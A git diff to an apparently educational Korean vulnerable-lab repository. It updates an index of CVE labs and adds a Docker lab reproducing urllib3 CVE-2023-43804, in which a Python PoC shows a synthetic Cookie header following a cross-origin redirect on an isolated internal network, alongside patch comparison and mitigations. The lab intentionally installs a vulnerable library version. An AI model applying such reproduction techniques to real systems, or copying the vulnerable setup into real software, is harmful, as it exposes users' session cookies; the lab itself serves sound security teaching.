diff --git a/README.md b/README.md
index 66be761c2..bfd8770d1 100644
--- a/README.md
+++ b/README.md
@@ -1,126 +1,130 @@
-# Korean Vulhub (한글판)
-
-
-
-취약한 도커 환경을 구축하여, 이해도를 높이고, 실습을 통해 보안 기술을 익히는 것을 목표로 합니다.
-
-[Vulhub](https://github.com/vulhub/vulhub) () 을 참고하여, 다양한 컨테이너 기반의 취약한 환경을 구축합니다.
-
-
-
-### Table of Contents
-
-- **ActiveMQ** — Java 기반 오픈소스 메시지 브로커
- - [CVE-2016-3088](./ActiveMQ/CVE-2016-3088/README.md) — ActiveMQ fileserver 임의 파일 쓰기 → RCE
- - Contributor: [@Roronoawjd](https://github.com/Roronoawjd) | Risk Score: 9.8 (Reproducibility: 75%)
-
-- **CouchDB** — Erlang 기반 오픈소스 문서 지향 NoSQL 데이터베이스
- - [CVE-2017-12635](./CouchDB/CVE-2017-12635/README.md) — CouchDB JSON 파서 불일치를 이용한 원격 권한 상승
- - Contributor: [@jason1343](https://github.com/jason1343) | Risk Score: 9.8 (Reproducibility: 70%)
-
-- **Django** — Python 기반 웹 프레임워크
- - [CVE-2021-35042](./Django/CVE-2021-35042/README.md) — QuerySet.order_by() SQL Injection
- - Contributor: [@sj1226m](https://github.com/sj1226m) | Risk Score: 7.5 (Reproducibility: 70%)
- - [CVE-2022-34265](./Django/CVE-2022-34265/README.ko-kr.md) — Trunc()/Extract() SQL Injection
- - Contributor: [@woohyun212](https://github.com/woohyun212) | Risk Score: 9.8 (Reproducibility: 85%)
- - [CVE-2022-34265 (2)](./Django/CVE-2022-34265_2/README.md) — Trunc()/Extract() SQL Injection
- - Contributor: [@KMINGON](https://github.com/KMINGON) | Risk Score: 9.8 (Reproducibility: 80%)
-
-- **Express** — Node.js 웹 프레임워크
- - [CVE-2024-29041](./Express/CVE-2024-29041/README.md) — Express 오픈 리다이렉트 취약점
- - Contributor: [@j93es](https://github.com/j93es) | Risk Score: 6.1 (Reproducibility: 75%)
-
-- **Elfinder** — PHP 기반 웹 파일 관리자
- - [CVE-2021-32682](./Elfinder/CVE-2021-32682/README.md) — ZIP 인수 삽입을 통한 원격 코드 실행
- - Contributor: [@Tjdmin1](https://github.com/Tjdmin1) | Risk Score: 9.8 (Reproducibility: 75%)
-
-- **Flask** — Python 경량 웹 프레임워크
- - [SSTI](./Flask/SSTI/README.md) — Server Side Template Injection
- - Contributor: [@positiveWand](https://github.com/positiveWand) | Risk Score: 9.0 (Reproducibility: 75%)
-
-- **Gradio** — Python 기반 ML 모델 웹 인터페이스 라이브러리
- - [CVE-2023-51449](./Gradio/CVE-2023-51449/README.md) — /file 엔드포인트 디렉터리 트래버설
- - Contributor: [@annseojin](https://github.com/annseojin) | Risk Score: 7.5 (Reproducibility: 80%)
-
-- **GeoServer** — Java 기반 오픈소스 공간 데이터 서버
- - [CVE-2023-25157](./GeoServer/CVE-2023-25157/README.md) — GeoServer OGC 필터 SQL 인젝션
- - Contributor: [@djadydwls0720](https://github.com/djadydwls0720) | Risk Score: 9.8 (Reproducibility: 65%)
- - [CVE-2023-25157 (2)](./GeoServer/CVE-2023-25157_2/README.md) — GeoServer OGC 필터 SQL 인젝션
- - Contributor: [@moooooji](https://github.com/moooooji) | Risk Score: 9.8 (Reproducibility: 60%)
-
-- **HugeGraph** — Apache 기반 오픈소스 그래프 데이터베이스
- - [CVE-2024-43441](./HugeGraph/CVE-2024-43441/README.md) — JWT 비밀 키 하드코딩으로 인한 인증 우회
- - Contributor: [@HanTul](https://github.com/HanTul) | Risk Score: 9.8 (Reproducibility: 85%)
-
-- **Librsvg** — GNOME SVG 렌더링 라이브러리
- - [CVE-2023-38633](./Librsvg/CVE-2023-38633/README.md) — librsvg xi:include 디렉터리 탐색 파일 읽기
- - Contributor: [@EL55](https://github.com/EL55) | Risk Score: 7.5 (Reproducibility: 80%)
-
-- **Libssh** — SSHv2 프로토콜 C 라이브러리
- - [CVE-2018-10933](./Libssh/CVE-2018-10933/README.md) — libssh 서버 state machine 인증 우회
- - Contributor: [@hhtboy](https://github.com/hhtboy) | Risk Score: 9.8 (Reproducibility: 75%)
-
-- **MongoExpress** — MongoDB 웹 기반 관리 인터페이스
- - [CVE-2019-10758](./MongoExpress/CVE-2019-10758/README.md) — mongo-express 원격 코드 실행
- - Contributor: [@ilohas0021](https://github.com/ilohas0021) | Risk Score: 9.8 (Reproducibility: 80%)
-
-- **MySQL** — 관계형 데이터베이스
- - [CVE-2012-2122](./MySQL/CVE-2012-2122/README.md) — MySQL Authentication Bypass
- - Contributor: [@baethwjd2](https://github.com/baethwjd2) | Risk Score: 7.0 (Reproducibility: 70%)
-
-- **Next.js** — React 기반 풀스택 웹 프레임워크
- - [CVE-2025-29927](./Next.js/CVE-2025-29927/README.md) — Next.js 미들웨어 인가 우회
- - Contributor: [@idealinsane](https://github.com/idealinsane) | Risk Score: 9.1 (Reproducibility: 85%)
-
-- **Nginx** — 고성능 웹 서버 / 리버스 프록시
- - [CVE-2017-7529](./Nginx/CVE-2017-7529/README.md) — Nginx Integer Overflow Vulnerability
- - Contributor: [@c0dep1ayer](https://github.com/c0dep1ayer) | Risk Score: 7.5 (Reproducibility: 75%)
-
-- **Node** — JavaScript 런타임 환경
- - [CVE-2017-14849](./Node/CVE-2017-14849/README.md) — Node.js path.normalize() 디렉터리 탐색 취약점
- - Contributor: [@ssongk](https://github.com/ssongk) | Risk Score: 7.5 (Reproducibility: 75%)
- - [CVE-2017-14849 (2)](./Node/CVE-2017-14849_2/README.md) — Node.js path.normalize() 디렉터리 탐색 취약점
- - Contributor: [@junwonheo](https://github.com/junwonheo) | Risk Score: 7.5 (Reproducibility: 65%)
-
-- **PHP** — 서버 사이드 스크립트 언어
- - [CVE-2012-1823](./PHP/CVE-2012-1823/README.md) — php-cgi 인자 주입을 통한 원격 코드 실행
- - Contributor: [@kty121](https://github.com/kty121) | Risk Score: 9.8 (Reproducibility: 80%)
-
-- **Python** — Python 런타임 환경
- - [CVE-2017-8291](./Python/CVE-2017-8291/README.md) — PIL(Pillow) GhostScript EPS 처리 RCE
- - Contributor: [@wjdgnsdl213](https://github.com/wjdgnsdl213) | Risk Score: 9.8 (Reproducibility: 75%)
-
-- **Redis** — 인메모리 키-값 데이터베이스
- - [CVE-2022-0543](./Redis/CVE-2022-0543/README.md) — Lua 샌드박스 탈출을 통한 원격 코드 실행
- - Contributor: [@yeo0n](https://github.com/yeo0n) | Risk Score: 10.0 (Reproducibility: 65%)
-
-- **Spring** — Java 엔터프라이즈 웹 프레임워크
- - [CVE-2022-22963](./Spring/CVE-2022-22963/README.md) — Spring Cloud Function SpEL 코드 주입
- - Contributor: [@foskingson](https://github.com/foskingson) | Risk Score: 9.8 (Reproducibility: 75%)
- - [CVE-2022-22965](./Spring/CVE-2022-22965/README.md) — Spring Framework RCE via Data Binding (Spring4Shell)
- - Contributor: [@ddddabi](https://github.com/ddddabi) | Risk Score: 9.8 (Reproducibility: 70%)
- - [CVE-2022-22978](./Spring/CVE-2022-22978/README.md) — Spring Security Authorization Bypass in RegexRequestMatcher
- - Contributor: [@sub0810](https://github.com/sub0810) | Risk Score: 9.8 (Reproducibility: 80%)
-
-- **Struts2** — Java 기반 MVC 웹 프레임워크
- - [CVE-2018-11776](./Struts2/CVE-2018-11776/README.md) — Struts2 S2-057 URL 매핑 OGNL 표현식 주입 RCE
- - Contributor: [@ye11oc4t](https://github.com/ye11oc4t) | Risk Score: 8.1 (Reproducibility: 80%)
- - [CVE-2019-0230](./Struts2/CVE-2019-0230/README.md) — Struts2 S2-059 OGNL 표현식 주입 RCE
- - Contributor: [@hy30nq](https://github.com/hy30nq) | Risk Score: 9.8 (Reproducibility: 80%)
-
-- **Tiki Wiki** — PHP 기반 오픈소스 CMS / Wiki
- - [CVE-2020-15906](./TikiWiki/CVE-2020-15906/README.md) — TikiWiki CMS Authentication Bypass → RCE
- - Contributor: [@haijun9](https://github.com/haijun9) | Risk Score: 8.8 (Reproducibility: 60%)
-
+# Korean Vulhub (한글판)
+
+
+
+취약한 도커 환경을 구축하여, 이해도를 높이고, 실습을 통해 보안 기술을 익히는 것을 목표로 합니다.
+
+[Vulhub](https://github.com/vulhub/vulhub) () 을 참고하여, 다양한 컨테이너 기반의 취약한 환경을 구축합니다.
+
+
+
+### Table of Contents
+
+- **ActiveMQ** — Java 기반 오픈소스 메시지 브로커
+ - [CVE-2016-3088](./ActiveMQ/CVE-2016-3088/README.md) — ActiveMQ fileserver 임의 파일 쓰기 → RCE
+ - Contributor: [@Roronoawjd](https://github.com/Roronoawjd) | Risk Score: 9.8 (Reproducibility: 75%)
+
+- **CouchDB** — Erlang 기반 오픈소스 문서 지향 NoSQL 데이터베이스
+ - [CVE-2017-12635](./CouchDB/CVE-2017-12635/README.md) — CouchDB JSON 파서 불일치를 이용한 원격 권한 상승
+ - Contributor: [@jason1343](https://github.com/jason1343) | Risk Score: 9.8 (Reproducibility: 70%)
+
+- **Django** — Python 기반 웹 프레임워크
+ - [CVE-2021-35042](./Django/CVE-2021-35042/README.md) — QuerySet.order_by() SQL Injection
+ - Contributor: [@sj1226m](https://github.com/sj1226m) | Risk Score: 7.5 (Reproducibility: 70%)
+ - [CVE-2022-34265](./Django/CVE-2022-34265/README.ko-kr.md) — Trunc()/Extract() SQL Injection
+ - Contributor: [@woohyun212](https://github.com/woohyun212) | Risk Score: 9.8 (Reproducibility: 85%)
+ - [CVE-2022-34265 (2)](./Django/CVE-2022-34265_2/README.md) — Trunc()/Extract() SQL Injection
+ - Contributor: [@KMINGON](https://github.com/KMINGON) | Risk Score: 9.8 (Reproducibility: 80%)
+
+- **Express** — Node.js 웹 프레임워크
+ - [CVE-2024-29041](./Express/CVE-2024-29041/README.md) — Express 오픈 리다이렉트 취약점
+ - Contributor: [@j93es](https://github.com/j93es) | Risk Score: 6.1 (Reproducibility: 75%)
+
+- **Elfinder** — PHP 기반 웹 파일 관리자
+ - [CVE-2021-32682](./Elfinder/CVE-2021-32682/README.md) — ZIP 인수 삽입을 통한 원격 코드 실행
+ - Contributor: [@Tjdmin1](https://github.com/Tjdmin1) | Risk Score: 9.8 (Reproducibility: 75%)
+
+- **Flask** — Python 경량 웹 프레임워크
+ - [SSTI](./Flask/SSTI/README.md) — Server Side Template Injection
+ - Contributor: [@positiveWand](https://github.com/positiveWand) | Risk Score: 9.0 (Reproducibility: 75%)
+
+- **Gradio** — Python 기반 ML 모델 웹 인터페이스 라이브러리
+ - [CVE-2023-51449](./Gradio/CVE-2023-51449/README.md) — /file 엔드포인트 디렉터리 트래버설
+ - Contributor: [@annseojin](https://github.com/annseojin) | Risk Score: 7.5 (Reproducibility: 80%)
+
+- **GeoServer** — Java 기반 오픈소스 공간 데이터 서버
+ - [CVE-2023-25157](./GeoServer/CVE-2023-25157/README.md) — GeoServer OGC 필터 SQL 인젝션
+ - Contributor: [@djadydwls0720](https://github.com/djadydwls0720) | Risk Score: 9.8 (Reproducibility: 65%)
+ - [CVE-2023-25157 (2)](./GeoServer/CVE-2023-25157_2/README.md) — GeoServer OGC 필터 SQL 인젝션
+ - Contributor: [@moooooji](https://github.com/moooooji) | Risk Score: 9.8 (Reproducibility: 60%)
+
+- **HugeGraph** — Apache 기반 오픈소스 그래프 데이터베이스
+ - [CVE-2024-43441](./HugeGraph/CVE-2024-43441/README.md) — JWT 비밀 키 하드코딩으로 인한 인증 우회
+ - Contributor: [@HanTul](https://github.com/HanTul) | Risk Score: 9.8 (Reproducibility: 85%)
+
+- **Librsvg** — GNOME SVG 렌더링 라이브러리
+ - [CVE-2023-38633](./Librsvg/CVE-2023-38633/README.md) — librsvg xi:include 디렉터리 탐색 파일 읽기
+ - Contributor: [@EL55](https://github.com/EL55) | Risk Score: 7.5 (Reproducibility: 80%)
+
+- **Libssh** — SSHv2 프로토콜 C 라이브러리
+ - [CVE-2018-10933](./Libssh/CVE-2018-10933/README.md) — libssh 서버 state machine 인증 우회
+ - Contributor: [@hhtboy](https://github.com/hhtboy) | Risk Score: 9.8 (Reproducibility: 75%)
+
+- **MongoExpress** — MongoDB 웹 기반 관리 인터페이스
+ - [CVE-2019-10758](./MongoExpress/CVE-2019-10758/README.md) — mongo-express 원격 코드 실행
+ - Contributor: [@ilohas0021](https://github.com/ilohas0021) | Risk Score: 9.8 (Reproducibility: 80%)
+
+- **MySQL** — 관계형 데이터베이스
+ - [CVE-2012-2122](./MySQL/CVE-2012-2122/README.md) — MySQL Authentication Bypass
+ - Contributor: [@baethwjd2](https://github.com/baethwjd2) | Risk Score: 7.0 (Reproducibility: 70%)
+
+- **Next.js** — React 기반 풀스택 웹 프레임워크
+ - [CVE-2025-29927](./Next.js/CVE-2025-29927/README.md) — Next.js 미들웨어 인가 우회
+ - Contributor: [@idealinsane](https://github.com/idealinsane) | Risk Score: 9.1 (Reproducibility: 85%)
+
+- **Nginx** — 고성능 웹 서버 / 리버스 프록시
+ - [CVE-2017-7529](./Nginx/CVE-2017-7529/README.md) — Nginx Integer Overflow Vulnerability
+ - Contributor: [@c0dep1ayer](https://github.com/c0dep1ayer) | Risk Score: 7.5 (Reproducibility: 75%)
+
+- **Node** — JavaScript 런타임 환경
+ - [CVE-2017-14849](./Node/CVE-2017-14849/README.md) — Node.js path.normalize() 디렉터리 탐색 취약점
+ - Contributor: [@ssongk](https://github.com/ssongk) | Risk Score: 7.5 (Reproducibility: 75%)
+ - [CVE-2017-14849 (2)](./Node/CVE-2017-14849_2/README.md) — Node.js path.normalize() 디렉터리 탐색 취약점
+ - Contributor: [@junwonheo](https://github.com/junwonheo) | Risk Score: 7.5 (Reproducibility: 65%)
+
+- **PHP** — 서버 사이드 스크립트 언어
+ - [CVE-2012-1823](./PHP/CVE-2012-1823/README.md) — php-cgi 인자 주입을 통한 원격 코드 실행
+ - Contributor: [@kty121](https://github.com/kty121) | Risk Score: 9.8 (Reproducibility: 80%)
+
+- **Python** — Python 런타임 환경
+ - [CVE-2017-8291](./Python/CVE-2017-8291/README.md) — PIL(Pillow) GhostScript EPS 처리 RCE
+ - Contributor: [@wjdgnsdl213](https://github.com/wjdgnsdl213) | Risk Score: 9.8 (Reproducibility: 75%)
+
+- **Redis** — 인메모리 키-값 데이터베이스
+ - [CVE-2022-0543](./Redis/CVE-2022-0543/README.md) — Lua 샌드박스 탈출을 통한 원격 코드 실행
+ - Contributor: [@yeo0n](https://github.com/yeo0n) | Risk Score: 10.0 (Reproducibility: 65%)
+
+- **Spring** — Java 엔터프라이즈 웹 프레임워크
+ - [CVE-2022-22963](./Spring/CVE-2022-22963/README.md) — Spring Cloud Function SpEL 코드 주입
+ - Contributor: [@foskingson](https://github.com/foskingson) | Risk Score: 9.8 (Reproducibility: 75%)
+ - [CVE-2022-22965](./Spring/CVE-2022-22965/README.md) — Spring Framework RCE via Data Binding (Spring4Shell)
+ - Contributor: [@ddddabi](https://github.com/ddddabi) | Risk Score: 9.8 (Reproducibility: 70%)
+ - [CVE-2022-22978](./Spring/CVE-2022-22978/README.md) — Spring Security Authorization Bypass in RegexRequestMatcher
+ - Contributor: [@sub0810](https://github.com/sub0810) | Risk Score: 9.8 (Reproducibility: 80%)
+
+- **Struts2** — Java 기반 MVC 웹 프레임워크
+ - [CVE-2018-11776](./Struts2/CVE-2018-11776/README.md) — Struts2 S2-057 URL 매핑 OGNL 표현식 주입 RCE
+ - Contributor: [@ye11oc4t](https://github.com/ye11oc4t) | Risk Score: 8.1 (Reproducibility: 80%)
+ - [CVE-2019-0230](./Struts2/CVE-2019-0230/README.md) — Struts2 S2-059 OGNL 표현식 주입 RCE
+ - Contributor: [@hy30nq](https://github.com/hy30nq) | Risk Score: 9.8 (Reproducibility: 80%)
+
+- **Tiki Wiki** — PHP 기반 오픈소스 CMS / Wiki
+ - [CVE-2020-15906](./TikiWiki/CVE-2020-15906/README.md) — TikiWiki CMS Authentication Bypass → RCE
+ - Contributor: [@haijun9](https://github.com/haijun9) | Risk Score: 8.8 (Reproducibility: 60%)
+
- **Tomcat** — Java 기반 오픈소스 웹 애플리케이션 서버
- [CVE-2020-1938](./Tomcat/CVE-2020-1938/README.md) — Apache Tomcat AJP 파일 읽기 (Ghostcat)
- Contributor: [@mythofsummer](https://github.com/mythofsummer) | Risk Score: 9.8 (Reproducibility: 70%)
-
-
-### Report Evaluation
+- **urllib3** — Python HTTP 클라이언트 라이브러리
+ - [CVE-2023-43804](./urllib3/CVE-2023-43804/README.md) — 교차 출처 리다이렉트 시 Cookie 헤더 유출
+ - Contributor: [@minjungi11](https://github.com/minjungi11) | Risk Score: 5.9 (Reproducibility: 95%)
-각 보고서는 취약점 자체의 위험도와 Report Reliability를 분리해 평가합니다. Docker 환경과 제출된 PoC를 재검증한 뒤 기록합니다.
-
-- Reproducibility: 제출된 환경과 PoC를 그대로 따랐을 때 재현 가능한 정도를 0%에서 100%로 표현합니다. 환경 구성, 취약 조건, 재현 절차, PoC 코드, 실행 결과, 대응 방안의 명확성을 기준으로 평가합니다.
-- Risk Score: 인증 필요 여부, 원격 악용 가능성, 영향 범위, PoC 및 Docker 환경에서 확인되는 실제 동작을 기준으로 CVSS처럼 0.0에서 10.0 사이로 평가합니다.
+
+
+### Report Evaluation
+
+각 보고서는 취약점 자체의 위험도와 Report Reliability를 분리해 평가합니다. Docker 환경과 제출된 PoC를 재검증한 뒤 기록합니다.
+
+- Reproducibility: 제출된 환경과 PoC를 그대로 따랐을 때 재현 가능한 정도를 0%에서 100%로 표현합니다. 환경 구성, 취약 조건, 재현 절차, PoC 코드, 실행 결과, 대응 방안의 명확성을 기준으로 평가합니다.
+- Risk Score: 인증 필요 여부, 원격 악용 가능성, 영향 범위, PoC 및 Docker 환경에서 확인되는 실제 동작을 기준으로 CVSS처럼 0.0에서 10.0 사이로 평가합니다.
diff --git a/urllib3/CVE-2023-43804/.dockerignore b/urllib3/CVE-2023-43804/.dockerignore
new file mode 100644
index 000000000..f4be43188
--- /dev/null
+++ b/urllib3/CVE-2023-43804/.dockerignore
@@ -0,0 +1,7 @@
+.git
+.gitignore
+README.md
+images
+__pycache__
+*.py[cod]
+
diff --git a/urllib3/CVE-2023-43804/Dockerfile b/urllib3/CVE-2023-43804/Dockerfile
new file mode 100644
index 000000000..734bef1a1
--- /dev/null
+++ b/urllib3/CVE-2023-43804/Dockerfile
@@ -0,0 +1,25 @@
+ARG PYTHON_IMAGE=python:3.11.9-slim-bookworm
+
+FROM ${PYTHON_IMAGE} AS runtime
+
+ARG VULNERABLE_URLLIB3_VERSION=2.0.5
+ARG PATCHED_URLLIB3_VERSION=2.0.6
+
+ENV PYTHONDONTWRITEBYTECODE=1 \
+ PYTHONUNBUFFERED=1
+
+RUN groupadd --system --gid 10001 lab \
+ && useradd --system --uid 10001 --gid 10001 --no-create-home lab \
+ && python -m pip install --no-cache-dir --no-deps \
+ --target /opt/urllib3-vulnerable "urllib3==${VULNERABLE_URLLIB3_VERSION}" \
+ && python -m pip install --no-cache-dir --no-deps \
+ --target /opt/urllib3-patched "urllib3==${PATCHED_URLLIB3_VERSION}"
+
+WORKDIR /lab
+
+COPY --chown=10001:10001 lab/ /lab/
+
+USER 10001:10001
+
+CMD ["python", "poc.py"]
+
diff --git a/urllib3/CVE-2023-43804/README.md b/urllib3/CVE-2023-43804/README.md
new file mode 100644
index 000000000..76984ad73
--- /dev/null
+++ b/urllib3/CVE-2023-43804/README.md
@@ -0,0 +1,296 @@
+# urllib3 교차 출처 리다이렉트 Cookie 헤더 유출 (CVE-2023-43804)
+
+> Contributor: [@minjungi11](https://github.com/minjungi11)
+> Risk Score: **5.9 / 10.0** (GitHub CNA CVSS v3.1)
+> Reproducibility: **95%**
+
+## 1. 취약점 요약
+
+urllib3는 Python에서 사용하는 HTTP 클라이언트 라이브러리다. CVE-2023-43804는
+영향받는 urllib3 버전에서 사용자가 직접 지정한 `Cookie` 요청 헤더가 자동
+리다이렉트 과정에서 다른 출처(origin)로 전달될 수 있는 정보 노출 취약점이다.
+
+| 항목 | 내용 |
+| --- | --- |
+| CVE | CVE-2023-43804 |
+| 취약점 유형 | 교차 출처 리다이렉트 과정의 Cookie 헤더 노출 |
+| CWE | CWE-200: Exposure of Sensitive Information to an Unauthorized Actor |
+| 영향받는 버전 | urllib3 1.26.16 이하, 2.0.0 이상 2.0.5 이하 |
+| 실습 취약 버전 | urllib3 2.0.5 |
+| 패치 버전 | urllib3 1.26.17, 2.0.6 |
+| 인증 필요 여부 | 특정 사용 조건 필요 |
+| 주요 영향 | 기밀성 및 무결성 영향 가능 |
+
+GitHub의 urllib3 보안 권고는 다음 조건이 모두 충족될 때 영향을 받을 수 있다고
+설명한다.
+
+1. 영향받는 urllib3 버전을 사용한다.
+2. 애플리케이션이 요청에 `Cookie` 헤더를 직접 지정한다.
+3. 자동 리다이렉트를 비활성화하지 않았다.
+4. HTTP를 사용하거나, 신뢰한 원본 서버가 다른 출처로 리다이렉트하도록 변경된다.
+
+## 2. 교육 목적 및 안전 범위
+
+이 저장소는 소유자가 통제하는 로컬 Docker 환경에서 CVE 동작을 학습하기 위한
+교육용 실습이다. 실제 쿠키, 계정정보, 토큰 및 외부 시스템은 사용하지 않는다.
+
+- `WHITEHAT_LAB_COOKIE`라는 합성 문자열만 사용한다.
+- 모든 서비스는 외부 통신이 차단된 Docker `internal` 네트워크에서 동작한다.
+- 호스트 포트를 게시하지 않는다.
+- 컨테이너는 UID/GID `10001`의 non-root 사용자로 실행한다.
+- 모든 Linux capability를 제거한다.
+- `no-new-privileges`와 읽기 전용 루트 파일시스템을 적용한다.
+- `--privileged` 및 Docker 소켓 마운트를 사용하지 않는다.
+
+## 3. 취약점 원리
+
+HTTP 클라이언트가 리다이렉트를 자동으로 따라갈 때 요청 대상의 출처가 변경될 수
+있다. 인증과 관련된 요청 헤더가 새 출처로 그대로 전달되면 해당 출처가 원래
+수신해서는 안 되는 정보를 볼 수 있다.
+
+urllib3 2.0.5에서는 사용자가 직접 설정한 `Cookie` 헤더가 교차 출처 리다이렉트
+뒤에도 남을 수 있다. urllib3 2.0.6은 리다이렉트 시 해당 헤더를 기본적으로
+제거하도록 수정됐다.
+
+```text
+PoC 컨테이너
+ |
+ | GET /start + Cookie: WHITEHAT_LAB_COOKIE=...
+ v
+redirector:8000
+ |
+ | HTTP 302 Location: http://receiver:8001/capture
+ v
+receiver:8001
+ |
+ +-- urllib3 2.0.5: 합성 Cookie 수신
+ +-- urllib3 2.0.6: 합성 Cookie 미수신
+```
+
+## 4. 환경 구성
+
+### 4.1 구성 요소
+
+| 서비스 | 역할 |
+| --- | --- |
+| `redirector` | `/start` 요청에 내부 `receiver` 주소로 HTTP 302 응답 반환 |
+| `receiver` | 리다이렉트된 요청에 합성 Cookie가 포함됐는지만 JSON으로 반환 |
+| `poc` | urllib3 2.0.5와 2.0.6을 순서대로 실행하고 결과 자동 판정 |
+
+### 4.2 파일 구조
+
+```text
+CVE-2023-43804/
+├── Dockerfile
+├── compose.yaml
+├── README.md
+├── images/
+│ ├── 01-environment-start.png
+│ └── 02-reproduction-pass.png
+└── lab/
+ ├── client_case.py
+ ├── poc.py
+ ├── receiver_server.py
+ └── redirect_server.py
+```
+
+### 4.3 버전 고정 및 자체 빌드
+
+제3자가 미리 제작한 취약 이미지를 사용하지 않는다. 공식 Python 베이스 이미지
+`python:3.11.9-slim-bookworm` 위에 Dockerfile로 다음 버전을 직접 설치한다.
+
+- 취약 대조군: `urllib3==2.0.5`
+- 패치 대조군: `urllib3==2.0.6`
+
+urllib3는 `--no-deps`로 각각 별도 경로에 설치해 실행 시 다른 버전이 섞이지 않게
+한다.
+
+### 4.4 검증 환경
+
+| 항목 | 검증 값 |
+| --- | --- |
+| Host | Windows + WSL2 |
+| WSL | Ubuntu 22.04.5 LTS |
+| Architecture | x86_64 |
+| Docker Engine | 29.6.1 |
+| Docker Compose | v5.2.0 |
+
+## 5. 취약 조건
+
+본 실습에서 취약 동작이 발생하려면 다음 조건이 필요하다.
+
+1. 클라이언트가 urllib3 2.0.5를 사용한다.
+2. 요청에 합성 `Cookie` 헤더를 직접 설정한다.
+3. urllib3의 자동 리다이렉트가 활성화돼 있다.
+4. `redirector`와 `receiver`가 서로 다른 호스트 이름으로 구성돼 출처가 변경된다.
+5. 리다이렉트 목적지가 합성 Cookie 수신 여부를 기록한다.
+
+패치 대조군은 애플리케이션 코드와 네트워크 조건을 동일하게 유지하고 urllib3만
+2.0.6으로 변경한다.
+
+## 6. 재현 절차
+
+### 6.1 저장소 이동
+
+```bash
+cd urllib3/CVE-2023-43804
+```
+
+### 6.2 환경 구성 및 PoC 실행
+
+다음 명령 하나로 이미지 빌드, 서비스 기동, healthcheck, PoC 실행 및 결과 판정이
+이뤄진다.
+
+```bash
+docker compose -f compose.yaml up --build \
+ --abort-on-container-exit \
+ --exit-code-from poc
+```
+
+성공 시 `poc` 서비스가 종료 코드 0을 반환한다. `--abort-on-container-exit` 옵션은
+PoC 종료 후 대기 중인 두 HTTP 서버를 중지한다. 이 과정에서 서버가 종료 코드
+137을 표시할 수 있으나 PoC 종료 코드가 0이고 `VERDICT: PASS`라면 정상이다.
+
+### 6.3 환경 정리
+
+```bash
+docker compose -f compose.yaml down --volumes --remove-orphans
+```
+
+## 7. PoC 코드
+
+`lab/client_case.py`는 외부 시스템이나 실제 인증정보를 사용하지 않고, 합성 Cookie를
+내부 `redirector`에 전송한 뒤 내부 `receiver`가 이를 받았는지 비교한다.
+
+```python
+import json
+import os
+import sys
+
+import urllib3
+
+
+REDIRECT_URL = "http://redirector:8000/start"
+
+
+def main() -> int:
+ case = os.environ.get("LAB_CASE", "unknown")
+ marker = f"WHITEHAT_LAB_COOKIE={case}-demo-only"
+
+ client = urllib3.PoolManager()
+ response = client.request(
+ "GET",
+ REDIRECT_URL,
+ headers={"Cookie": marker},
+ redirect=True,
+ timeout=urllib3.Timeout(connect=2.0, read=2.0),
+ )
+ payload = json.loads(response.data.decode("utf-8"))
+ leaked = payload.get("cookie") == marker
+
+ print(
+ json.dumps(
+ {
+ "case": case,
+ "urllib3_version": urllib3.__version__,
+ "http_status": response.status,
+ "dummy_cookie_forwarded": leaked,
+ },
+ sort_keys=True,
+ )
+ )
+ return 0
+
+
+if __name__ == "__main__":
+ sys.exit(main())
+```
+
+`lab/poc.py`는 취약 버전과 패치 버전을 각각 분리된 `PYTHONPATH`에서 실행한다.
+다음 조건을 모두 만족해야 종료 코드 0과 `VERDICT: PASS`를 출력한다.
+
+1. 실제 로드된 urllib3 버전이 각각 2.0.5와 2.0.6이다.
+2. 취약 버전에서는 합성 Cookie 전달이 확인된다.
+3. 패치 버전에서는 동일한 합성 Cookie가 제거된다.
+4. 두 요청 모두 내부 수신 서비스에서 HTTP 200 응답을 받는다.
+
+전체 PoC 소스는 [`lab/poc.py`](lab/poc.py)에서 확인할 수 있다.
+
+## 8. 실행 결과
+
+### 8.1 환경 직접 빌드
+
+공식 Python 베이스 이미지를 내려받아 Dockerfile의 모든 단계를 완료했다.
+
+
+
+### 8.2 취약 버전과 패치 버전 비교
+
+실제 실행 결과는 다음과 같다.
+
+```text
+{"behavior_matches": true, "case": "vulnerable", "dummy_cookie_forwarded": true,
+ "http_status": 200, "urllib3_version": "2.0.5", "version_matches": true}
+{"behavior_matches": true, "case": "patched", "dummy_cookie_forwarded": false,
+ "http_status": 200, "urllib3_version": "2.0.6", "version_matches": true}
+VERDICT: PASS
+```
+
+
+
+취약 버전에서는 합성 Cookie가 교차 출처 리다이렉트 뒤에도 전달됐다. 동일한 코드와
+환경에서 패치 버전은 Cookie를 제거했다. 이 차이로 CVE-2023-43804의 취약 동작과
+패치 효과를 함께 확인했다.
+
+## 9. 대응 방안
+
+1. urllib3 1.x 사용자는 1.26.17 이상으로 업데이트한다.
+2. urllib3 2.x 사용자는 2.0.6 이상으로 업데이트한다.
+3. 리다이렉트가 필요하지 않은 요청은 `redirect=False`로 자동 리다이렉트를 끈다.
+4. 리다이렉트 목적지의 scheme, host, port를 허용 목록으로 검증한다.
+5. 사용자 세션 Cookie를 임의의 HTTP 요청 헤더로 직접 복사하지 않는다.
+6. HTTPS를 사용하고 신뢰할 수 없는 HTTP 리다이렉트를 허용하지 않는다.
+7. 업데이트 후 취약 버전과 동일한 회귀 테스트를 실행해 Cookie 제거를 확인한다.
+
+## 10. 평가
+
+### 10.1 Reproducibility: 95%
+
+재현성을 높이는 요소는 다음과 같다.
+
+- 단일 `docker compose up --build` 명령으로 환경이 완성된다.
+- 취약 버전과 패치 버전을 Dockerfile에서 고정한다.
+- 외부 서버나 실시간 외부 API에 의존하지 않는다.
+- 모든 런타임 통신이 Docker 내부 네트워크에서 끝난다.
+- healthcheck 이후 PoC를 실행한다.
+- 버전과 취약 동작을 코드로 자동 판정하고 실패 시 비정상 종료한다.
+- 실제 Cookie 대신 저장소에 포함된 합성 마커만 사용한다.
+
+최초 빌드 시 공식 Python 이미지와 PyPI 패키지를 내려받기 위한 레지스트리 접근이
+필요하므로 외부 레지스트리 장애 가능성을 고려해 5%를 제외했다.
+
+### 10.2 Risk Score: 5.9 / 10.0
+
+본 보고서는 urllib3 프로젝트의 GitHub 보안 권고에 표시된 GitHub CNA CVSS v3.1
+점수를 채택한다.
+
+```text
+CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:U/C:H/I:H/A:N = 5.9 Medium
+```
+
+취약점은 네트워크를 통해 영향을 줄 수 있고 유출된 Cookie의 권한에 따라 기밀성과
+무결성 영향이 클 수 있다. 다만 영향받는 버전, 직접 지정한 Cookie 헤더, 자동
+리다이렉트, 신뢰한 서비스의 교차 출처 리다이렉트라는 여러 조건이 필요해 공격
+복잡도와 사전 조건이 높다.
+
+NVD는 별도 분석으로 8.1 High
